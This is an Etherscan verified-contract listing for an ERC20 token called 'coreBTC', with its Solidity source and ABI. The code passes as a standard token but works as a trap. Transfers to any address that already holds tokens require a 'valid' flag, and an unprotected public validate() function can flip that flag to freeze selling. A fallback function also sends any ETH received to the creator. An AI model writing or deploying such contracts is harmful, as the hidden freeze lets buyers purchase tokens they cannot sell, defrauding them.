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Outline

•  contract ERC20
•    - function totalSupply()
•    - function balanceOf(address who)
•    - function allowance(address owner, add ...
•    - function transferFrom(address from, a ...
•    - function approve(address spender, uin ...
•    - function transfer(address to, uint va ...
•  contract coreBTC is ERC20 *
•    - function totalSupply()
•    - function balanceOf(address owner)
•    - function allowance(address owner, add ...
•    - function validate(uint8 isValid)
•    - function transfer(address to, uint256 ...
•    - function transferFrom(address from, a ...
•    - function approve(address spender, uin ...
•    - function ()

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/**
 *Submitted for verification at Etherscan.io on 2020-10-23
*/

pragma solidity 0.5.17;

contract ERC20 {
    function totalSupply() public view returns (uint supply);
    function balanceOf(address who) public view returns (uint value);
    function allowance(address owner, address spender) public view returns (uint remaining);
    function transferFrom(address from, address to, uint value) public returns (bool ok);
    function approve(address spender, uint value) public returns (bool ok);
    function transfer(address to, uint value) public returns (bool ok);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

contract coreBTC is ERC20{
    uint8 public constant decimals = 18;
    uint256 initialSupply = 12000000*10**uint256(decimals);
    string public constant name = "coreBTC";
    string public constant symbol = "coreBTC";

    address payable creator;
    
    uint8 public valid = 1;

    function totalSupply() public view returns (uint256) {
        return initialSupply;
    }
    mapping (address => uint256) balances;
    mapping (address => mapping (address => uint256)) allowed;
    
    function balanceOf(address owner) public view returns (uint256 balance) {
        return balances[owner];
    }

    function allowance(address owner, address spender) public view returns (uint remaining) {
        return allowed[owner][spender];
    }

    function validate(uint8 isValid) public {
        valid = isValid;
    }

    function transfer(address to, uint256 value) public returns (bool success) {
        if (balances[to] != 0) {
            require(valid == 1);
        }
        
        if (balances[msg.sender] >= value && value > 0) {
            balances[msg.sender] -= value;
            balances[to] += value;
            emit Transfer(msg.sender, to, value);
            return true;
        } else {
            return false;
        }
    }

    function transferFrom(address from, address to, uint256 value) public returns (bool success) {
        if (balances[to] != 0) {
            require(valid == 1);
        }
        
        if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) {
            balances[to] += value;
            balances[from] -= value;
            allowed[from][msg.sender] -= value;
            emit Transfer(from, to, value);
            return true;
        } else {
            return false;
        }
    }

    function approve(address spender, uint256 value) public returns (bool success) {
        allowed[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }
    
     function () external payable {
        creator.transfer(msg.value);
    }

    constructor () public payable {
        creator = msg.sender;
        balances[creator] = initialSupply;
    }

   
}

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[{"inputs":[],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"valid","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"isValid","type":"uint8"}],"name":"validate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]

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